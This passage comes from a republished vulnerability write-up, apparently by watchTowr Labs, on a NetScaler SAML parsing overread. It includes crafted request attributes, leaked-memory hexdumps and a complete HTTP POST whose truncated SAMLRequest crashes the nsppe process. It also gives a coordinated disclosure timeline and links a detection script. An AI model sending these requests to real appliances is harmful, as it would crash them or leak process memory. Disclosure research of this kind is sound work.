acs=&lt;22&gt;, forceAuth=&lt;0&gt;, binding=<\/p>\n<p>You might note that the acs value returned is correct &#8211; 22 &#8211; because we\u2019ve carefully enclosed the value in the request in quotes.<\/p>\n<p>What happens if we can make the parser overread past the end of the request buffer instead?<\/p>\n<p>watchtowr<\/p>\n<p>Version=&#8221;2.0&#8243;<br \/>\nid=&#8221;11&#8243;<br \/>\nAssertionConsumerServiceURL=<\/p>\n<p>And in our favorite log\u2026:<\/p>\n<p>AuthnReq start tag parsed, id=&lt;&gt;, acs=&lt;\u2592^M\u2592\uffad\u2592=&#8221;2.0&#8243; id=&#8221;11&#8243;<br \/>\nAssertionConsumerServiceURL=&#8221;22&#8243;\uffad\u2592mple.com\/demo1\/index.php,<br \/>\nforceAuth=&lt;0&gt;, binding=<br \/>\n<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-36.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"480\" height=\"320\"\/><\/p>\n<p>OH HO HO. Finally, we\u2019re almost there!<\/p>\n<p>The parser is no longer just reading extra XML. It&#8217;s pulling arbitrary binary data from beyond the end of the XML buffer and happily appending it to the parsed value.<\/p>\n<p>The only question left is whether that value makes it all the way back to us via the NSC_TASS cookie we looked at earlier:<\/p>\n<p>NSC_TASS=YXNkZgBJRD0mYmluZD1wb3N0JkFDU1VSTD3wDZDvvq3ePSIyLjAiCmlkPSIxMSIKQXNzZXJ0aW9uQ29uc3VtZXJTZXJ2aWNlVVJMPSIyMiLvvq3ebXBsZS5jb20vZGVtbzEvaW5kZXgucGhwPC9zYW1sOklzc3VlcgA=<\/p>\n<p>And decoded\u2026:<\/p>\n<p>00000000  61 73 64 66 00 49 44 3d  26 62 69 6e 64 3d 70 6f  |asdf.ID=&amp;bind=po|<br \/>\n00000010  73 74 26 41 43 53 55 52  4c 3d f0 0d 90 ef be ad  |st&amp;ACSURL=&#8230;&#8230;|<br \/>\n00000020  de 3d 22 32 2e 30 22 0a  69 64 3d 22 31 31 22 0a  |.=&#8221;2.0&#8243;.id=&#8221;11&#8243;.|<br \/>\n00000030  41 73 73 65 72 74 69 6f  6e 43 6f 6e 73 75 6d 65  |AssertionConsume|<br \/>\n00000040  72 53 65 72 76 69 63 65  55 52 4c 3d 22 32 32 22  |rServiceURL=&#8221;22&#8243;|<br \/>\n00000050  ef be ad de 6d 70 6c 65  2e 63 6f 6d 2f 64 65 6d  |&#8230;.mple.com\/dem|<br \/>\n00000060  6f 31 2f 69 6e 64 65 78  2e 70 68 70 3c 2f 73 61  |o1\/index.php<\/p>\n<p>Finally!<\/p>\n<p>Take a look at the ACSURL value. It now contains binary data that should never have been returned to us, including the unmistakable 0xdeadbeef fill pattern.<\/p>\n<p>Our overread has worked.<\/p>\n<p>The parser has read beyond the end of the XML buffer, and we&#8217;ve successfully tricked NetScaler into returning memory that was never supposed to leave the process. Completely unpredictably.<\/p>\n<p>It\u2019s never done that before (lol)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-37.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"1008\" height=\"1337\"  \/><\/p>\n<p>One thing we\u2019re keen to note: in contrast to the original CVE-2026-0050, in which kilobytes of binary data can be leaked, this overread will terminate the out-of-bounds read when various control characters are read, such as NULL (or even &gt;).<\/p>\n<p>In practice, we found that by varying the request length, we could consistently squeeze a few bytes out of the server:<\/p>\n<p>c:\\&gt;python watchTowr-vs-Netscaler-CVE-2026-8451.py<br \/>\n..<br \/>\nLeaked bytes:<br \/>\n00000000  f0 0d 90 de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000010  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000020  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000030  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000040  de de de de de de de de de de de de de de ed a7   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000050  0c a1 35 00                                       |..5.|<br \/>\n..<\/p>\n<p>There\u2019s clearly data leaking here (0xf00d!) and, interestingly, what appears to be a data pointer (0xa10ca7ed).<\/p>\n<p>We can&#8217;t say with certainty what this pointer references, but it certainly looks plausible. If it is a valid process pointer, then this bug graduates from a simple information disclosure to a genuine infoleak primitive. Paired with a suitable memory corruption vulnerability, it could be exactly the kind of building block needed for a full device compromise.<\/p>\n<p>Of course, if you&#8217;re more interested in demonstrating impact than building exploit chains, there is a much easier route, as naturally in enterprise-grade security appliances, requests as simple as the following are enough to reliably crash the target system:<\/p>\n<p>POST \/saml\/login HTTP\/1.1<br \/>\nHost: 192.168.80.125<br \/>\nContent-Length: 46<\/p>\n<p>SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCBJRD0%3D<\/p>\n<p>This request causes the nsppe process to &#8220;crash out&#8221;:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-38.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"730\" height=\"388\"  \/><img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-39.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"727\" height=\"296\"  \/>Detection Artefact Generator<\/p>\n<p>As always, we\u2019re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments.\u00a0It can be found on our GitHub <a href=\"https:\/\/github.com\/watchtowrlabs\/watchTowr-vs-Netscaler-CVE-2026-8451?ref=labs.watchtowr.com\" rel=\"nofollow noopener\" target=\"_blank\">here<\/a>.<\/p>\n<p>c:\\&gt;python watchTowr-vs-Netscaler-CVE-2026-8451.py<br \/>\n..<br \/>\nLeaked bytes:<br \/>\n00000000  f0 0d 90 de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000010  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000020  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000030  de de de de de de de de de de de de de de de de   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000040  de de de de de de de de de de de de de de ed a7   |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000050  0c a1 35 00                                       |..5.|<br \/>\n..<br \/>\nThanks, PolyMarket<img decoding=\"async\" src=\"https:\/\/www.newsbeep.com\/us\/wp-content\/uploads\/2026\/07\/image-40.png\" class=\"kg-image\" alt=\"\" loading=\"lazy\" width=\"679\" height=\"355\" \/><\/p>\n<p>We get to eat tonight!<\/p>\n<p>Timeline<\/p>\n<p>Date<br \/>\nDetail<\/p>\n<p>28th March 2026<br \/>\nwatchTowr discovers issue, notifies Citrix and affected clients<\/p>\n<p>28th March 2026<br \/>\nCitrix responds with what appears to be an automatic reply<\/p>\n<p>30th April 2026<br \/>\nwatchTowr requests update from Citrix<\/p>\n<p>7th May 2026<br \/>\nwatchTowr again requests update from Citrix<\/p>\n<p>7th May 2026<br \/>\nCitrix advises that a fix is being developed<\/p>\n<p>14 June 2026<br \/>\nCitrix advise they expect to publish on 29th June<\/p>\n<p>25th June 2026<br \/>\nCitrix advises that a fix may be delayed by \u2018a few days\u2019; watchTowr responds that this is acceptable<\/p>\n<p>30th June 2026<br \/>\nCitrix publish advisory and patches<\/p>\n<p>30th June 2026<br \/>\nwatchTowr publishes research, and memes<\/p>\n<p>The research published by <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Labs<\/a> is powered by the same engine behind the <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Platform<\/a>, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.<\/p>\n<p>The <a href=\"https:\/\/watchtowr.com\/\" rel=\"nofollow noopener\" target=\"_blank\">watchTowr Platform<\/a> combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.<\/p>\n<p>                            Gain early access to our research, and understand your exposure, with the watchTowr Platform<br \/>\n                            <a style=\" &#010;    box-sizing: border-box;  text-decoration:none; color: #000000;   background-color: #faf000;    font-weight: 600;    letter-spacing: -0.02em;    padding-bottom: 1.4rem;    padding-top: 1.4rem;    width: 100%;    margin-top: 2rem;\" href=\"https:\/\/watchtowr.com\/demo\/\" rel=\"nofollow noopener\" target=\"_blank\">REQUEST A DEMO<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Well, well, well &#8211; once again, the cat has dragged us in and spat us out. Today, we&hellip;\n","protected":false},"author":2,"featured_media":736271,"comment_status":"","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31],"tags":[74],"class_list":["post-736270","post","type-post","status-publish","format-standard","has-post-thumbnail","category-technology","tag-technology"],"_links":{"self":[{"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/posts\/736270","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/comments?post=736270"}],"version-history":[{"count":0,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/posts\/736270\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/media\/736271"}],"wp:attachment":[{"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/media?parent=736270"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/categories?post=736270"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newsbeep.com\/us\/wp-json\/wp\/v2\/tags?post=736270"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}